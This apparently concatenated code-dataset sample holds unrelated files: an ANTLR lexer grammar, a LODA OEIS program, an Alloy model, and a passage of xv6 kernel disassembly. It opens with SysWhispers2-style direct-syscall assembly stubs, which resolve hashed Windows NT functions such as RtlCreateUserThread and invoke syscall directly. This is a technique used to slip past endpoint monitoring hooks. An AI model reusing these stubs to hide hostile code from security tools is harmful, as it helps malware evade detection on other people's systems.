mov r10, rcx
syscall ; Invoke system call.
ret
NtSavepointComplete ENDP
NtCreateSectionEx PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 024DF6002h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtCreateSectionEx ENDP
NtCreateCrossVmEvent PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0C984C203h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtCreateCrossVmEvent ENDP
NtGetPlugPlayEvent PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0C9480B1Fh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtGetPlugPlayEvent ENDP
NtListTransactions PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 00B99130Bh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtListTransactions ENDP
NtMarshallTransaction PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 000AB263Bh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtMarshallTransaction ENDP
NtPullTransaction PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 00F014BD3h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtPullTransaction ENDP
NtReleaseCMFViewOwnership PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 016AECE06h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtReleaseCMFViewOwnership ENDP
NtWaitForWnfNotifications PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0F4513710h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtWaitForWnfNotifications ENDP
NtStartTm PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 027AA6504h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtStartTm ENDP
NtSetInformationProcess PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 00DAF13CCh ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtSetInformationProcess ENDP
NtRequestDeviceWakeup PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 09D9E8113h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtRequestDeviceWakeup ENDP
NtRequestWakeupLatency PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 02AA90F34h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtRequestWakeupLatency ENDP
NtQuerySystemTime PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 09EC28166h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtQuerySystemTime ENDP
NtManageHotPatch PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0EB5315C5h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtManageHotPatch ENDP
NtContinueEx PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 07B9F88E4h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
NtContinueEx ENDP
RtlCreateUserThread PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0F26EECD7h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
syscall ; Invoke system call.
ret
RtlCreateUserThread ENDP
end |
src/main/antlr/NmlLexer.g4 | andrewt0301/nml-lighter | 1 | 4946 | lexer grammar NmlLexer;
//options { superClass=; }
// KeyWords
LET : 'let';
TYPE : 'type';
MEM : 'mem';
REG : 'reg';
VAR : 'var';
ALIAS : 'alias';
MODE : 'mode';
OP : 'op';
PSEUDO : 'pseudo';
INTERNAL : 'internal';
LABEL : 'label';
STRUCT : 'struct';
// Standard Attributes
SYNTAX : 'syntax';
IMAGE : 'image';
ACTION : 'action';
// Data Types
BOOL : 'bool';
CARD : 'card';
FIX : 'fix';
FLOAT : 'float';
INT : 'int';
ENUM : 'enum';
// Newline, Comments, Space
WS: [ \t\r\n\u000C]+ ;//-> channel(HIDDEN);
BLOCK_COMMENT: '/*' .*? '*/' ;// -> channel(HIDDEN);
LINE_COMMENT: '//' ~[\r\n]* ;// -> channel(HIDDEN);
//BLOCK_COMMENT_L: '/*' ;// -> channel(HIDDEN);
//BLOCK_COMMENT_R: '*/' ;// -> channel(HIDDEN);
// Separators
LPAREN: '(';
RPAREN: ')';
LBRACE: '{';
RBRACE: '}';
LBRACK: '[';
RBRACK: ']';
SEMI: ';';
COMMA: ',';
DOT: '.';
QOAT: '"';
// Arithmetic Operators
ASSIGN : '=';
PLUS : '+';
MINUS : '-';
MUL : '*';
DIV : '/';
REM : '%' ;
DOUBLE_STAR : '**' ;
LEFT_SHIFT : '<<' ;
RIGHT_SHIFT : '>>' ;
ROTATE_LEFT : '<<<';
ROTATE_RIGHT : '>>>';
// Compare Operator
LE : '<' ;
GRE : '>' ;
LEQ : '<=' ;
GREQ : '>=' ;
EQ : '==' ;
NEQ : '!=' ;
NOT : '!' ;
//Booelan Operators
IF : 'if';
THEN : 'then';
ELSE : 'else';
ENDIF : 'endif';
AND : '&&' ;
OR : '||' ;
TILDE : '~' ;
AMPER : '&' ;
UP_ARROW : '^' ;
VERT_BAR : '|' ;
DOUBLE_DOT : '..';
TRIPLE_DOT : '...';
DOUBLE_COLON : '::';
COLON : ':';
//Additional Operation
IS_TYPE : 'is_type' ;
TYPE_OF : 'type_of' ;
SIZE_OF : 'size_of' ;
SQRT : 'sqrt' ;
ROUND : 'round' ;
IS_NAN : 'is_nan' ;
IS_SIGN_NAN : 'is_signaling_nan';
// Type Conversion Directive Names
SIGN_EXTEND : 'sign_extend' ;
ZERO_EXTEND : 'zero_extend' ;
COERCE : 'coerce' ;
CAST : 'cast' ;
INT_TO_FLOAT : 'int_to_float' ;
FLOAT_TO_INT : 'float_to_int' ;
FLOAT_TO_FLOAT : 'float_to_float';
// Special Function Names and Other Keywords
FORMAT : 'format' ;
TRACE : 'trace' ;
EXCEPTION : 'exception' ;
MARK : 'mark' ;
UNPREDICTED : 'unpredicted' ;
UNDEFINED : 'undefined' ;
ASSERT : 'assert' ;
FUNCTION : 'function' ;
SHARED : 'shared' ;
REVISION : '@rev' ;
// Main things
STRING_LITERAL: '"' (~["\\\r\n])* '"';
ID : LETTER (LETTER | DIGIT | '_')*;
NUMBER_LITERAL : DECIMAL_LITERAL | BINARY_LITERAL | HEX_LITERAL;
DECIMAL_LITERAL: ('0' | [1-9] (Digits? | '_'+ Digits)) [lL]?;
HEX_LITERAL: '0' [xX] [0-9a-fA-F] ([0-9a-fA-F_]* [0-9a-fA-F])? [lL]?;
BINARY_LITERAL: '0' [bB] [01] ([01_]* [01])? [lL]?;
// Fragments
fragment BIN_DIG_LST : BIN_DIGIT+;
fragment HEX_DIG_LST : HEX_DIGIT+;
fragment NONCONTROL : LETTER | DIGIT | SYMBOL | SPACE;
/*fragment LETTER
: [a-zA-Z$_] // these are the "java letters" below 0x7F
| ~[\u0000-\u007F\uD800-\uDBFF] // covers all characters above 0x7F which are not a surrogate
| [\uD800-\uDBFF] [\uDC00-\uDFFF] // covers UTF-16 surrogate pairs encodings for U+10000 to U+10FFFF
;*/
fragment LETTER : LOWER | UPPER;
fragment LOWER : 'a'..'z';
fragment UPPER : 'A'..'Z';
fragment DIGIT : [0-9];
//fragment DIGIT : [0-9] ([0-9_]* [0-9])?;
//fragment DIGIT : '0'..'9';
fragment BIN_DIGIT : [01];
//fragment BIN_DIGIT : '0' | '1';
fragment HEX_DIGIT : [0-9a-fA-F];
//fragment HEX_DIGIT : DIGIT | 'a'..'f' | 'A'..'F';
fragment SPACE : ' ' | '\t';
fragment SYMBOL : '!' | '#'..'/' | ':'..'@' | '['..'`' | '{'..'~';
fragment Digits
: [0-9] ([0-9_]* [0-9])?
;
|
programs/oeis/178/A178960.asm | jmorken/loda | 1 | 19126 | ; A178960: Numbers n such that n! contains every digit at least once.
; 23,27,31,33,34,35,36,37,39,40,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101
mov $2,$0
mul $0,3
lpb $0
mov $4,$0
sub $4,18
mov $1,$4
trn $4,15
sub $4,$1
add $4,$0
add $4,2
trn $0,$4
add $3,$0
add $3,34
add $6,2
add $6,$3
div $6,5
add $5,$6
mov $0,$5
lpe
mov $1,$0
add $1,23
add $1,$2
|
alloy4fun_models/trashltl/models/11/v5YDXKcZjpiGWmk6t.als | Kaixi26/org.alloytools.alloy | 0 | 3978 | open main
pred idv5YDXKcZjpiGWmk6t_prop12 {
all f: File | eventually some Trash and once f in Trash implies always f in Trash
}
pred __repair { idv5YDXKcZjpiGWmk6t_prop12 }
check __repair { idv5YDXKcZjpiGWmk6t_prop12 <=> prop12o } |
kernel.asm | mohanambekar/xv6_pwd_command | 0 | 579 |
kernel: file format elf32-i386
Disassembly of section .text:
80100000 <multiboot_header>:
80100000: 02 b0 ad 1b 00 00 add 0x1bad(%eax),%dh
80100006: 00 00 add %al,(%eax)
80100008: fe 4f 52 decb 0x52(%edi)
8010000b: e4 .byte 0xe4
8010000c <entry>:
8010000c: 0f 20 e0 mov %cr4,%eax
8010000f: 83 c8 10 or $0x10,%eax
80100012: 0f 22 e0 mov %eax,%cr4
80100015: b8 00 90 10 00 mov $0x109000,%eax
8010001a: 0f 22 d8 mov %eax,%cr3
8010001d: 0f 20 c0 mov %cr0,%eax
80100020: 0d 00 00 01 80 or $0x80010000,%eax
80100025: 0f 22 c0 mov %eax,%cr0
80100028: bc d0 b5 10 80 mov $0x8010b5d0,%esp
8010002d: b8 80 2f 10 80 mov $0x80102f80,%eax
80100032: ff e0 jmp *%eax
80100034: 66 90 xchg %ax,%ax
80100036: 66 90 xchg %ax,%ax
80100038: 66 90 xchg %ax,%ax
8010003a: 66 90 xchg %ax,%ax
8010003c: 66 90 xchg %ax,%ax
8010003e: 66 90 xchg %ax,%ax
80100040 <binit>:
struct buf head;
} bcache;
void
binit(void)
{
80100040: 55 push %ebp
80100041: 89 e5 mov %esp,%ebp
80100043: 53 push %ebx
//PAGEBREAK!
// Create linked list of buffers
bcache.head.prev = &bcache.head;
bcache.head.next = &bcache.head;
for(b = bcache.buf; b < bcache.buf+NBUF; b++){
80100044: bb 14 b6 10 80 mov $0x8010b614,%ebx
{
80100049: 83 ec 0c sub $0xc,%esp
initlock(&bcache.lock, "bcache");
8010004c: 68 60 73 10 80 push $0x80107360
80100051: 68 e0 b5 10 80 push $0x8010b5e0
80100056: e8 c5 43 00 00 call 80104420 <initlock>
bcache.head.prev = &bcache.head;
8010005b: c7 05 2c fd 10 80 dc movl $0x8010fcdc,0x8010fd2c
80100062: fc 10 80
bcache.head.next = &bcache.head;
80100065: c7 05 30 fd 10 80 dc movl $0x8010fcdc,0x8010fd30
8010006c: fc 10 80
8010006f: 83 c4 10 add $0x10,%esp
80100072: ba dc fc 10 80 mov $0x8010fcdc,%edx
80100077: eb 09 jmp 80100082 <binit+0x42>
80100079: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80100080: 89 c3 mov %eax,%ebx
b->next = bcache.head.next;
b->prev = &bcache.head;
initsleeplock(&b->lock, "buffer");
80100082: 8d 43 0c lea 0xc(%ebx),%eax
80100085: 83 ec 08 sub $0x8,%esp
b->next = bcache.head.next;
80100088: 89 53 54 mov %edx,0x54(%ebx)
b->prev = &bcache.head;
8010008b: c7 43 50 dc fc 10 80 movl $0x8010fcdc,0x50(%ebx)
initsleeplock(&b->lock, "buffer");
80100092: 68 67 73 10 80 push $0x80107367
80100097: 50 push %eax
80100098: e8 53 42 00 00 call 801042f0 <initsleeplock>
bcache.head.next->prev = b;
8010009d: a1 30 fd 10 80 mov 0x8010fd30,%eax
for(b = bcache.buf; b < bcache.buf+NBUF; b++){
801000a2: 83 c4 10 add $0x10,%esp
801000a5: 89 da mov %ebx,%edx
bcache.head.next->prev = b;
801000a7: 89 58 50 mov %ebx,0x50(%eax)
for(b = bcache.buf; b < bcache.buf+NBUF; b++){
801000aa: 8d 83 5c 02 00 00 lea 0x25c(%ebx),%eax
bcache.head.next = b;
801000b0: 89 1d 30 fd 10 80 mov %ebx,0x8010fd30
for(b = bcache.buf; b < bcache.buf+NBUF; b++){
801000b6: 3d dc fc 10 80 cmp $0x8010fcdc,%eax
801000bb: 72 c3 jb 80100080 <binit+0x40>
}
}
801000bd: 8b 5d fc mov -0x4(%ebp),%ebx
801000c0: c9 leave
801000c1: c3 ret
801000c2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
801000c9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
801000d0 <bread>:
}
// Return a locked buf with the contents of the indicated block.
struct buf*
bread(uint dev, uint blockno)
{
801000d0: 55 push %ebp
801000d1: 89 e5 mov %esp,%ebp
801000d3: 57 push %edi
801000d4: 56 push %esi
801000d5: 53 push %ebx
801000d6: 83 ec 18 sub $0x18,%esp
801000d9: 8b 75 08 mov 0x8(%ebp),%esi
801000dc: 8b 7d 0c mov 0xc(%ebp),%edi
acquire(&bcache.lock);
801000df: 68 e0 b5 10 80 push $0x8010b5e0
801000e4: e8 77 44 00 00 call 80104560 <acquire>
for(b = bcache.head.next; b != &bcache.head; b = b->next){
801000e9: 8b 1d 30 fd 10 80 mov 0x8010fd30,%ebx
801000ef: 83 c4 10 add $0x10,%esp
801000f2: 81 fb dc fc 10 80 cmp $0x8010fcdc,%ebx
801000f8: 75 11 jne 8010010b <bread+0x3b>
801000fa: eb 24 jmp 80100120 <bread+0x50>
801000fc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80100100: 8b 5b 54 mov 0x54(%ebx),%ebx
80100103: 81 fb dc fc 10 80 cmp $0x8010fcdc,%ebx
80100109: 74 15 je 80100120 <bread+0x50>
if(b->dev == dev && b->blockno == blockno){
8010010b: 3b 73 04 cmp 0x4(%ebx),%esi
8010010e: 75 f0 jne 80100100 <bread+0x30>
80100110: 3b 7b 08 cmp 0x8(%ebx),%edi
80100113: 75 eb jne 80100100 <bread+0x30>
b->refcnt++;
80100115: 83 43 4c 01 addl $0x1,0x4c(%ebx)
80100119: eb 3f jmp 8010015a <bread+0x8a>
8010011b: 90 nop
8010011c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
for(b = bcache.head.prev; b != &bcache.head; b = b->prev){
80100120: 8b 1d 2c fd 10 80 mov 0x8010fd2c,%ebx
80100126: 81 fb dc fc 10 80 cmp $0x8010fcdc,%ebx
8010012c: 75 0d jne 8010013b <bread+0x6b>
8010012e: eb 60 jmp 80100190 <bread+0xc0>
80100130: 8b 5b 50 mov 0x50(%ebx),%ebx
80100133: 81 fb dc fc 10 80 cmp $0x8010fcdc,%ebx
80100139: 74 55 je 80100190 <bread+0xc0>
if(b->refcnt == 0 && (b->flags & B_DIRTY) == 0) {
8010013b: 8b 43 4c mov 0x4c(%ebx),%eax
8010013e: 85 c0 test %eax,%eax
80100140: 75 ee jne 80100130 <bread+0x60>
80100142: f6 03 04 testb $0x4,(%ebx)
80100145: 75 e9 jne 80100130 <bread+0x60>
b->dev = dev;
80100147: 89 73 04 mov %esi,0x4(%ebx)
b->blockno = blockno;
8010014a: 89 7b 08 mov %edi,0x8(%ebx)
b->flags = 0;
8010014d: c7 03 00 00 00 00 movl $0x0,(%ebx)
b->refcnt = 1;
80100153: c7 43 4c 01 00 00 00 movl $0x1,0x4c(%ebx)
release(&bcache.lock);
8010015a: 83 ec 0c sub $0xc,%esp
8010015d: 68 e0 b5 10 80 push $0x8010b5e0
80100162: e8 b9 44 00 00 call 80104620 <release>
acquiresleep(&b->lock);
80100167: 8d 43 0c lea 0xc(%ebx),%eax
8010016a: 89 04 24 mov %eax,(%esp)
8010016d: e8 be 41 00 00 call 80104330 <acquiresleep>
80100172: 83 c4 10 add $0x10,%esp
struct buf *b;
b = bget(dev, blockno);
if((b->flags & B_VALID) == 0) {
80100175: f6 03 02 testb $0x2,(%ebx)
80100178: 75 0c jne 80100186 <bread+0xb6>
iderw(b);
8010017a: 83 ec 0c sub $0xc,%esp
8010017d: 53 push %ebx
8010017e: e8 9d 1f 00 00 call 80102120 <iderw>
80100183: 83 c4 10 add $0x10,%esp
}
return b;
}
80100186: 8d 65 f4 lea -0xc(%ebp),%esp
80100189: 89 d8 mov %ebx,%eax
8010018b: 5b pop %ebx
8010018c: 5e pop %esi
8010018d: 5f pop %edi
8010018e: 5d pop %ebp
8010018f: c3 ret
panic("bget: no buffers");
80100190: 83 ec 0c sub $0xc,%esp
80100193: 68 6e 73 10 80 push $0x8010736e
80100198: e8 f3 01 00 00 call 80100390 <panic>
8010019d: 8d 76 00 lea 0x0(%esi),%esi
801001a0 <bwrite>:
// Write b's contents to disk. Must be locked.
void
bwrite(struct buf *b)
{
801001a0: 55 push %ebp
801001a1: 89 e5 mov %esp,%ebp
801001a3: 53 push %ebx
801001a4: 83 ec 10 sub $0x10,%esp
801001a7: 8b 5d 08 mov 0x8(%ebp),%ebx
if(!holdingsleep(&b->lock))
801001aa: 8d 43 0c lea 0xc(%ebx),%eax
801001ad: 50 push %eax
801001ae: e8 1d 42 00 00 call 801043d0 <holdingsleep>
801001b3: 83 c4 10 add $0x10,%esp
801001b6: 85 c0 test %eax,%eax
801001b8: 74 0f je 801001c9 <bwrite+0x29>
panic("bwrite");
b->flags |= B_DIRTY;
801001ba: 83 0b 04 orl $0x4,(%ebx)
iderw(b);
801001bd: 89 5d 08 mov %ebx,0x8(%ebp)
}
801001c0: 8b 5d fc mov -0x4(%ebp),%ebx
801001c3: c9 leave
iderw(b);
801001c4: e9 57 1f 00 00 jmp 80102120 <iderw>
panic("bwrite");
801001c9: 83 ec 0c sub $0xc,%esp
801001cc: 68 7f 73 10 80 push $0x8010737f
801001d1: e8 ba 01 00 00 call 80100390 <panic>
801001d6: 8d 76 00 lea 0x0(%esi),%esi
801001d9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
801001e0 <brelse>:
// Release a locked buffer.
// Move to the head of the MRU list.
void
brelse(struct buf *b)
{
801001e0: 55 push %ebp
801001e1: 89 e5 mov %esp,%ebp
801001e3: 56 push %esi
801001e4: 53 push %ebx
801001e5: 8b 5d 08 mov 0x8(%ebp),%ebx
if(!holdingsleep(&b->lock))
801001e8: 83 ec 0c sub $0xc,%esp
801001eb: 8d 73 0c lea 0xc(%ebx),%esi
801001ee: 56 push %esi
801001ef: e8 dc 41 00 00 call 801043d0 <holdingsleep>
801001f4: 83 c4 10 add $0x10,%esp
801001f7: 85 c0 test %eax,%eax
801001f9: 74 66 je 80100261 <brelse+0x81>
panic("brelse");
releasesleep(&b->lock);
801001fb: 83 ec 0c sub $0xc,%esp
801001fe: 56 push %esi
801001ff: e8 8c 41 00 00 call 80104390 <releasesleep>
acquire(&bcache.lock);
80100204: c7 04 24 e0 b5 10 80 movl $0x8010b5e0,(%esp)
8010020b: e8 50 43 00 00 call 80104560 <acquire>
b->refcnt--;
80100210: 8b 43 4c mov 0x4c(%ebx),%eax
if (b->refcnt == 0) {
80100213: 83 c4 10 add $0x10,%esp
b->refcnt--;
80100216: 83 e8 01 sub $0x1,%eax
if (b->refcnt == 0) {
80100219: 85 c0 test %eax,%eax
b->refcnt--;
8010021b: 89 43 4c mov %eax,0x4c(%ebx)
if (b->refcnt == 0) {
8010021e: 75 2f jne 8010024f <brelse+0x6f>
// no one is waiting for it.
b->next->prev = b->prev;
80100220: 8b 43 54 mov 0x54(%ebx),%eax
80100223: 8b 53 50 mov 0x50(%ebx),%edx
80100226: 89 50 50 mov %edx,0x50(%eax)
b->prev->next = b->next;
80100229: 8b 43 50 mov 0x50(%ebx),%eax
8010022c: 8b 53 54 mov 0x54(%ebx),%edx
8010022f: 89 50 54 mov %edx,0x54(%eax)
b->next = bcache.head.next;
80100232: a1 30 fd 10 80 mov 0x8010fd30,%eax
b->prev = &bcache.head;
80100237: c7 43 50 dc fc 10 80 movl $0x8010fcdc,0x50(%ebx)
b->next = bcache.head.next;
8010023e: 89 43 54 mov %eax,0x54(%ebx)
bcache.head.next->prev = b;
80100241: a1 30 fd 10 80 mov 0x8010fd30,%eax
80100246: 89 58 50 mov %ebx,0x50(%eax)
bcache.head.next = b;
80100249: 89 1d 30 fd 10 80 mov %ebx,0x8010fd30
}
release(&bcache.lock);
8010024f: c7 45 08 e0 b5 10 80 movl $0x8010b5e0,0x8(%ebp)
}
80100256: 8d 65 f8 lea -0x8(%ebp),%esp
80100259: 5b pop %ebx
8010025a: 5e pop %esi
8010025b: 5d pop %ebp
release(&bcache.lock);
8010025c: e9 bf 43 00 00 jmp 80104620 <release>
panic("brelse");
80100261: 83 ec 0c sub $0xc,%esp
80100264: 68 86 73 10 80 push $0x80107386
80100269: e8 22 01 00 00 call 80100390 <panic>
8010026e: 66 90 xchg %ax,%ax
80100270 <consoleread>:
}
}
int
consoleread(struct inode *ip, char *dst, int n)
{
80100270: 55 push %ebp
80100271: 89 e5 mov %esp,%ebp
80100273: 57 push %edi
80100274: 56 push %esi
80100275: 53 push %ebx
80100276: 83 ec 28 sub $0x28,%esp
80100279: 8b 7d 08 mov 0x8(%ebp),%edi
8010027c: 8b 75 0c mov 0xc(%ebp),%esi
uint target;
int c;
iunlock(ip);
8010027f: 57 push %edi
80100280: e8 db 14 00 00 call 80101760 <iunlock>
target = n;
acquire(&cons.lock);
80100285: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp)
8010028c: e8 cf 42 00 00 call 80104560 <acquire>
while(n > 0){
80100291: 8b 5d 10 mov 0x10(%ebp),%ebx
80100294: 83 c4 10 add $0x10,%esp
80100297: 31 c0 xor %eax,%eax
80100299: 85 db test %ebx,%ebx
8010029b: 0f 8e a1 00 00 00 jle 80100342 <consoleread+0xd2>
while(input.r == input.w){
801002a1: 8b 15 c0 ff 10 80 mov 0x8010ffc0,%edx
801002a7: 39 15 c4 ff 10 80 cmp %edx,0x8010ffc4
801002ad: 74 2c je 801002db <consoleread+0x6b>
801002af: eb 5f jmp 80100310 <consoleread+0xa0>
801002b1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
if(myproc()->killed){
release(&cons.lock);
ilock(ip);
return -1;
}
sleep(&input.r, &cons.lock);
801002b8: 83 ec 08 sub $0x8,%esp
801002bb: 68 20 a5 10 80 push $0x8010a520
801002c0: 68 c0 ff 10 80 push $0x8010ffc0
801002c5: e8 b6 3b 00 00 call 80103e80 <sleep>
while(input.r == input.w){
801002ca: 8b 15 c0 ff 10 80 mov 0x8010ffc0,%edx
801002d0: 83 c4 10 add $0x10,%esp
801002d3: 3b 15 c4 ff 10 80 cmp 0x8010ffc4,%edx
801002d9: 75 35 jne 80100310 <consoleread+0xa0>
if(myproc()->killed){
801002db: e8 e0 35 00 00 call 801038c0 <myproc>
801002e0: 8b 40 24 mov 0x24(%eax),%eax
801002e3: 85 c0 test %eax,%eax
801002e5: 74 d1 je 801002b8 <consoleread+0x48>
release(&cons.lock);
801002e7: 83 ec 0c sub $0xc,%esp
801002ea: 68 20 a5 10 80 push $0x8010a520
801002ef: e8 2c 43 00 00 call 80104620 <release>
ilock(ip);
801002f4: 89 3c 24 mov %edi,(%esp)
801002f7: e8 84 13 00 00 call 80101680 <ilock>
return -1;
801002fc: 83 c4 10 add $0x10,%esp
}
release(&cons.lock);
ilock(ip);
return target - n;
}
801002ff: 8d 65 f4 lea -0xc(%ebp),%esp
return -1;
80100302: b8 ff ff ff ff mov $0xffffffff,%eax
}
80100307: 5b pop %ebx
80100308: 5e pop %esi
80100309: 5f pop %edi
8010030a: 5d pop %ebp
8010030b: c3 ret
8010030c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
c = input.buf[input.r++ % INPUT_BUF];
80100310: 8d 42 01 lea 0x1(%edx),%eax
80100313: a3 c0 ff 10 80 mov %eax,0x8010ffc0
80100318: 89 d0 mov %edx,%eax
8010031a: 83 e0 7f and $0x7f,%eax
8010031d: 0f be 80 40 ff 10 80 movsbl -0x7fef00c0(%eax),%eax
if(c == C('D')){ // EOF
80100324: 83 f8 04 cmp $0x4,%eax
80100327: 74 3f je 80100368 <consoleread+0xf8>
*dst++ = c;
80100329: 83 c6 01 add $0x1,%esi
--n;
8010032c: 83 eb 01 sub $0x1,%ebx
if(c == '\n')
8010032f: 83 f8 0a cmp $0xa,%eax
*dst++ = c;
80100332: 88 46 ff mov %al,-0x1(%esi)
if(c == '\n')
80100335: 74 43 je 8010037a <consoleread+0x10a>
while(n > 0){
80100337: 85 db test %ebx,%ebx
80100339: 0f 85 62 ff ff ff jne 801002a1 <consoleread+0x31>
8010033f: 8b 45 10 mov 0x10(%ebp),%eax
release(&cons.lock);
80100342: 83 ec 0c sub $0xc,%esp
80100345: 89 45 e4 mov %eax,-0x1c(%ebp)
80100348: 68 20 a5 10 80 push $0x8010a520
